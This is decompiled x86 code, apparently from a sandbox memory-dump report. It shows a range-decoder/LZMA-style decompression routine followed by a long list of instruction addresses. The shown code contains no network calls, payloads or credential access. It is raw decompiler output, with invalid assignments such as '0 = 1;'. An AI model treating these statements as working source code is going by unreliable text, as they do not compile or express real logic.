								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00405e09
0x00405e10
0x00405e16
0x00405e1c
0x00000000
0x00405e20
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e42
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e57
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea2
0x00405ea5
0x00405ecd
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405ea7
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ebf
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f16
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1b
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f38
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f7e
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406626
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x0040665c
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406684
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00406018
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040682e
0x00406834
0x00406836
0x0040683d
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

